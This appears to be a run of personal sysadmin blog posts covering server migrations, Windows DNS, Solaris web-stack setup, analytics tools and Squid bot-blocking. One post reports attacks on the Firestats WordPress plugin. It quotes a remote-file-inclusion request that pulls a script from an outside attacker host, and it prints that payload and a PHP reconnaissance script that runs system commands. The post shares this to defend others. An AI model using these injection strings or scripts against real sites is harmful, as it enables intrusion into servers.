tech.sweetnam.eu

Recently I decided to go into the hosting business. Not in a big way mind you. Just to cover the costs of hosting primarily with perhaps enough left over for a night on the town once a month or to pay the phone bill.

As it happens I was lucky enough in that I had two clients ready to go with over 100 sites each. Starting up a business without having to look for clients is an absolute luxury especially in the middle of one of the worst recessions this country has ever seen. After making all the agreements with my future clients it was time to come up with a concrete migration plan.

Before a single site could be migrated several things needed to be taken into consideration:

• Hardware
• Software (Operating System and Control Panel)
• Support/Knowlegebase/Helpdesk
• Bandwidth requirements
• Data import/migration/compatibility

The hardware was the easiest. I had a spare Dell poweredge 1850 hanging around here at home doing nothing with a not too inconsiderate 6GB of RAM.  The operating system was going to be a simple matter too. It was going to be Linux or nothing. However which Linux distribution to choose?

Choosing the Linux distrubution was going to be directly related to my choice of control panel software. I wrote here sometime back about Virtualmin and I decided that it would be absolutely perfect for my control panel requirements. Having decided on the control panel software it was now up to me to choose between CentOS or Ubutu 8.04LTS as the host OS. In the end out of familiarity I opted for Ubuntu.

One of the key reasons for choosing Virtualmin was its ability to import backups from cPanel. As I would be migrating almost 200 sites from a cPanel server in the U.S. the ability to seamlessly migrate would be an absolute bonus. Another important reason was that the control panel interface itself is very easy to use. Considering that my two future clients were coming from years of using cPanel I was confident that they would easily find their way around Virtualmin.

In February I installed the server into the datacentre and pulled across a couple of cPanel backups to test the import functionality. Of primary concern to me was the existing server was running CentOS and using Exim as its MTA. The new server was the already mentioned Ubuntu and I had decided on Postfix as the MTA. In addition the home folders of the existing server were split between two disks mounted as /home and /home2

So I pulled across two backups, one with /home as its location on the old server and the other with /home2, used the import function and in about 5 minutes both sites had been migrated flawlessly.

I couldn’t have been that lucky I thought to myself. Normally something goes awry especially when there are significant differences in software as well as software versions. I poked around all the config files and was astonished to see that everything looked as it should be.

Over the next week I made out a schedule for migration and before long all sites were up and running. My clients were happy as too were my clients clients. The only issues that cropped up were minor and were as a result of differences in the way Virtualmin handles user accounts compared to cPanel.

So that was over a month ago and with everyone happy I can reflect on what was accomplished. Most notably was there anything I could have done differently or more efficiently.

As it happens yes, there was something I could have done had I thought about it.

The hardware of the server is absolutely overkill for what it is doing. 6GB of RAM is way too much. Over the past month the most I have ever seen in use was just short of 800MB however having lots of free RAM is not a bad thing as Linux likes to use lots of it for cache.

The load on the old server was constantly around the 1.00 to 2.50 mark, the new server with it’s dual core Xeons is barely even breaking a sweat with load averages between 0.03 and 0.12.

What I should have done, and it’s obvious now, is that I should have installed a hypervisor like VMware ESX server and paritioned the physical machine in to three virtual machines. One for each of my two clients and the third for myself.

In any event I have another Poweredge 1850 and a pair of 1750′s that I intend on installing into the datacentre in the not too distant future so now it is time to start planning for that.

To finish off here’s a screenshot:

Recently I have upgraded all bar one of my Windows servers to server 2008. This included upgrading a Windows 2003 Active Directory controller. It was a pleasant surprise to discover that everything went perfectly well with absolutely no initial issues. However after a couple of days one very odd issue began rearing its head.

My Windows 2008 DNS server (PDC upgraded from 2003) occasionally decided that it can no longer resolve .uk domains. It doesn’t matter if it is .co.uk, ac.uk or whatever .uk it just flat out refuses to resolve them unless I restart the service.

A second Windows 2008 server that I installed DNS on as a secondary server has the exact same issue. After a couple of days it will just stop resolving .uk domains!

After plenty of head scratching and searching I finally discovered this article on technet.

It requires a bit of registry editing but what puzzles me is that if the problem has been fairly well known for almost a year (that technet article is dates 29th January 2009) why is the fix still a registry hack?

The vulnerability described below has been resolved in Firestats 1.6.2 which you can download from http://firestats.cc/wiki/Download

Disclaimer: I have nothing at all to do with the development of Firestats. I am merely an end user.

Over the last few hours I have been watching a major attempt at cracking both of my WordPress installations. A quick investigation tells me that the cracking attempts are looking for this vulnerability in Firestats.

At present there has been over 600 attempts from servers all over the globe which attempt to fetch the path to firestats-wordpress.php and exploit it using a script hosted elsewhere.

A sample from my logs looks like this:

http://tech.sweetnam.eu/tag/wp-content/plugins/firestats/firestats-wordpress.php?fs_javascript=http://www.x-pronet.com/board/forum/fx29id.txt??

The scripts themselves seem to have two versions. The most common one like above has the following contents:

<?php /* Fx29ID */ echo(“FeeL”.”CoMz”); die(“FeeL”.”CoMz”); /* Fx29ID */ ?>

The other one contains the following:

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf(“%d b”, $number); }
if($len >= 4 && $len <=6) {
return sprintf(“%0.2f Kb”, $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf(“%0.2f Mb”, $number/1024/1024); }
return sprintf(“%0.2f Gb”, $number/1024/1024/1024); }

echo “Osirys<br>”;
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo “0sirys was here and also is a fucking gay..<br>”;
echo “uname -a: $un<br>”;
echo “os: $os<br>”;
echo “id: $id1<br>”;
echo “free: $free<br>”;
echo “used: $used<br>”;
echo “total: $all<br>”;
exit;

All I can recommend at the moment is removing firestats from your WordPress installation. It seems to be the only way to be sure for the moment.

Microsoft have played a bit of a blinder. I’ve always found it a nightmare to set up ASP.net applications on IIS. Even getting PHP up and running and playing nice on IIS can be an absolute nightmare at times. No more however. If you are running IIS 6 or 7 then it is well worth your while installing Microsoft’s Web Platform Installer.

At the moment I’m using version 2 which is in beta but it is fine for production use albeit with one very unusual and weird quirk. If you try to install a package it will throw a wobbly if you are not in the Pacific, US and Canada time zone. So change the time zone before installing a web app and don’t forget to change it back once you are finished.

Rather than wax on about it myself I will just rehash Microsoft’s blurb:

The Microsoft Web Platform Installer 2.0 (Web PI) is a free tool that makes it simple to download, install and keep up-to-date with the latest components of the Microsoft Web Platform, including Internet Information Services (IIS), SQL Server Express, .NET Framework and Visual Web Developer. In addition, install popular open source ASP.NET and PHP web apps with the Web PI.

If you have to administer or are setting up an IIS server then it’s an essential install!

I have somewhat of an obsession of poring over my logfiles. Whichever PC or laptop I happen to be using at home will always have an ssh session open in the background with a tail of my reverse proxies logs whizzing by. But when it comes to running reports there are plenty of options. Most of which I have used and two days ago I discarded them all for new alternative.

Up until recently I was using both Google Analytics and Woopra. They both pretty much report the same information with just a different look. One issue I noticed with both was performance. Occasionally a page would stall or load slowly while the client connected to one of my sites was waiting to load the script from either Google or Woopra. And as everybody could testify, waiting for a page to load – even if it is just for a couple of seconds – can be frustrating.

In addition to Google Analytics and Woopra I also used AWstats to parse the log file. However that would be fine for one site but when running multiple sites it can become a bit of a pain as each site has its own report. Ideally what I was looking for was something more realtime like Google Google Analytics and Woopra. And what I found was Piwik!

Although it is in early beta it was a doddle to setup. I created a new domain and set it up to accept stats from each of my own sites. Each site gets its own dashboard. Once you setup a site you get a little bit of code to insert somewhere on your pages.

For my WordPress powered sites I did this by simply inseting the script into the themes footer.php and for my primary site powered by MediaWiki it was a similar process. Although once I have everything set up I noticed that there is a WordPress plugin available.

I already mentioned it is in beta so there are a few quirks but overall it is a nice piece of software and is running rather well for me.

Screenshot from Piwik homepage.

I’ve written before about how I use my reverse proxy to block various bad bots and crawlers. At this stage I am blocking so much stuff that it would be way to much to post here. So if you are interested here are two links for you. The first is a copy of my squid regex file I use as per my tutorial and the second is a list of IP address and IP block that I have blocked on the proxy using IP tables.

Blockedbots.txt
Blockedip.txt

I got myself an Apple iPhone 3G recently. It’s a truly wonderful thing purely from an aesthetic point of view but it does have a few tricks up it sleeve too. Like most new mobile phones these days, the Apple iPhone has built a built in GPS receiver. It is fairly accurate too.

This got me thinking of some interesting things to do with it. While browsing through the iTunes store I discovered a neat little application called GPS tracker and best of all it is free to download. It ties in with a free service from Instamapper.com. Once installed you can configure your iPhone to update your own personal map which wil display your location along with other details such as speed etc. It’s not just limited to the iPhone however so you can check to see if you can install it on your GPS enabled mobile here.

While this may not be to your liking if you value your privacy you needn’t worry as by default your own map is set to private to default. You can also embed a map into your facebook profile or onto your blog.

It is a bit gimmicky but then I love these gimmicky things. If you are curious as to how it looks you can view my location over on my personal blog

One final thing to be aware of is that the application needs access to the internet. So just be aware of your data charges from your mobile phone provider first!

I’ve had a busy few days patching upgrading and moving sites around.

The two biggest changes were upgrading my mail server from Ubuntu 6.06 to 8.04 which went very smooth indeed and moving all sites hosted on my Fedora powered Dell Poweredge over to Solaris 10 running on one of my Sun machines.

As well as the above I also moved my reverse proxy from an elderly Pentium III 550 to a much more modern and powerful P4 3Ghz machine. I’ve also moved my outgoing proxy onto the second of my Sun Machines which is now running the latest version of Squid which at the time of writing this is 3.0 STABLE4. All my windows machines have also been patched and updated and my last remaining XP machine is now eagerly awaiting the release of service pack 3 which is being released tomorrow. Come to think of it I’ve just realised that my XP machine has been running the preview release of SP3 since it was released some time back (v.3264). No doubt I’m going to have a nightmare task ahead in installing the proper release.

But getting back to the Dell Poweredge and why I moved everything over to one of the Suns. I have a task in mind for the Poweredge but this task involves Windows Server. I actually have a licensed version of Windows Server 2003 for it so I have to say goodbye to Fedora

I’ve moved my personal blog over to one of the Sun machines today. As you can imagine Solaris is a completely different beast compared to Linux but there are some similarities. Solaris comes with two versions of Apache installed however I decided I would rather not use either. My main reason for this is that from experience getting PHP working could be a nightmare. Instead I opted to install the latest version of Apache and PHP from Sunfreeware.

Package management under Solaris is completely different that you might be used to under Linux although Slackware users might feel right at home. I also planned to install php-eaccelerator too but that has to be compiled from source so I needed to grab the GCC, automake, autoconf, make and more packages from Sunfreeware. It is worth reading the instructions as you need to grab other packages that will be needed as dependencies. The Solaris package manager does not automatically resolve dependencies but you can install the packages in any order you like after gunzipping them first.

My own procedure for installing packages is to create two directories – /install and /archivedpackages. I download the packages to /install and after installing the software I move the package to /archivedpackages. My reason for this is that I can check /archivedpackages to see what packages I already installed or reinstall as necesary.

It is worth noting at this point that you may get errors when attempting to run some applications as they may be linked to older library versions. In one example that I cam across was a dependency for libstdc++.so.5 which did not exist. I got around this by making a symbolic link to the version that was installed in /usr/local/lib:

ln -s libstdc++so.6.0.3 libstdc++.so.5

Now that I had everything installed it was time to see where everything was located. All the packages I downloaded were installed to /usr/local which is similar to Linux when you compile something from source without specifying a path. Apache now lives at /usr/local/apache2 and MySQL at /usr/local/mysql. GCC and others reside in /usr/local/bin.

Configuring Apache is identical as for any other operating system that it runs on. The httpd.conf is very familar but if you have installed PHP as I did you need to manually add an entry in /usr/local/apache2/conf/httpd.conf to load the PHP module and to add ApplicationType for .php files. While you are doing this it might also be a good time to add index.php as an entry for DirectoryIndex. Before we run Apache we need to create a php.ini. So for this we need to do the following:

cp /usr/local/php/doc/php.ini-recommended /usr/local/php/lib

After confirming Apache, PHP and MySQL were working OK it came time to compile and install eaccelerator. This is where things can get a little tricky as neither the eaccelerator site nor the included documentation included instructions for compiling on Solaris.

I downloaded the source and extracted it in my /install directory that I created earlier. From a terminal window, logged in as root we need to make changes to two files. First we need to edit /usr/local/autoheader and change the first line from #! /usr/local/bin/perl to /usr/bin/perl and we also need to do the exact same for /usr/local/bin/autom4ate. Compiling eaccelerator is pretty much as per the quick guide in the instructions but first we need to set the path to the location of PHP and GCC so we do this by:

export PATH=$PATH:/usr/local/bin:/usr/local/php/bin

Now while in the source directory for eaccelerator, run phpize as per the instructions. Hopefully you shouldn’t see any errors. If you haven’t any errors then you can now run the configure script as follows:

./configure –with-eaccelerator-userid=daemon

Once the configure script has finished run make to compile the module.

We do not want to do a make install. Instead while in the eaccelerator source directory we will do the following:

cp modules/eaccelerator.so /usr/local/php/lib/php/extensions

Next up we create the cache directory for eaccelerator

mkdir /tmp/eaccelerator

And make it writable:

chmod 0777 /tmp/eaccelerator

And finally we need to edit /usr/local/php/lib/php.ini and tell it to load the eaccelerator module. So at the end of your php.ini enter the following:

zend_extension=”/usr/local/php/lib/php/extensions/eaccelerator.so”
eaccelerator.shm_size=”16″
eaccelerator.cache_dir=”/tmp/eaccelerator”
eaccelerator.enable=”1″
eaccelerator.optimizer=”1″
eaccelerator.check_mtime=”1″
eaccelerator.debug=”0″
eaccelerator.filter=”"
eaccelerator.shm_max=”0″
eaccelerator.shm_ttl=”0″
eaccelerator.shm_prune_period=”0″
eaccelerator.shm_only=”0″
eaccelerator.compress=”1″
eaccelerator.compress_level=”9″

Now that everything is configured we start up Apache with the following:

/usr/local/apache2/bin/apachectl start

To verify that eaccelerator is working you can enter the following in a terminal:

/usr/local/php/bin/php -v

If it is successfully installed you will see something like this:

PHP 5.2.5 (cli) (built: Dec  3 2007 07:40:48)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
with eAccelerator v0.9.5.2, Copyright (c) 2004-2006 eAccelerator, by eAccelerator

And there you have it. A nice Solaris, Apache, MySQL and PHP accelerated stack for all your web serving requirements.

Update – I have a more complete tutorial on how to block bots with Squid over on my wiki which you can view here.

I’ve written before about my reverse proxy and how it allows me to accelerate content delivery and also to allow me to run multiple webservers unsing a single IP address. However it is capable of so much more.

Squid uses access control lists (acl’s) to govern who can do what with the proxy server. For example you can set acls to only allow certain computers to access the internet or indeed access the internet via the cache at certain times or hours. There are a myriad of different options that you could configure but one in particular struck me as being exceptionally useful. That is that you can use acls to block certain useragents.

In a conventional scenario you would use .htaccess on the server to block access to various bad bots. If you were the administrator of several or maybe even a few dozen sites then it becomes a chore to ensure that the bot and nefarious useragents in all the .htaccess files are kept up to date. However as in my case as all traffic is passing through the reverse proxy it becomes trivial to deny access to those bots and useragents as all you have to do is create a single acl and it will apply to all sites that the proxy is fronting for.

Setting it up couldn’t be easier.

In my case my squid.conf is almost identical to the one used on my reverse proxy tutorial. One of the key things to consider in adding an acl to block certain useragents is that the new acl that we will be creating needs to be read by squid on startup before all the others.

First up we need to define our acl. So as per my tutorial I need to add this acl which I will be calling ‘badbrowsers’ just above the first ‘cache_peer’ entry in squid.conf. I will be storing all the bad bot entries in a seperate text file to avoid a messy squid.conf. In order to get squid to reference a seperate file, the location for the file musr be enclosed in quotes. So now we define our acl exactly as follows:

acl badbrowsers browser “/etc/squid/badbrowsers.conf”

Now the acl has been defined we must decide on an action that will occur when our new acl is triggered and for this we need to scroll down through our squid.conf and in a new line just above the http_access for our proxied sites add a new line to deny http access for out acl as follows:

http_access deny badbrowsers

That’s all the configuration needed for our squid.conf so save your changes and now we will create and edit the file that we have defined that will contain our bad bots and useragents.

When defining our acl the configuration file that I have chosen will be located in /etc/squid. So change to this directory and using your favourite editor create a file called badbrowsers.conf. On each line in this file we can add our banned useragents using regular expressions. I’ve noticed lately that most of the comment spam that I have been receiving lately has been coming from a useragent calling itself “Jakarta Commons-HttpClient/3.0.1″. To banish this useragent add a line to your badbrowsers.conf file with the following:

^Jakarta

That’s it. That’s all you need. Once the first word is matched in the useragent string you don’t need anything else. You can elaborate on this if you like to encompass whatever you like using regular expressions.

Once you are happy with your configuration save your changes and restart squid and no more bad bots.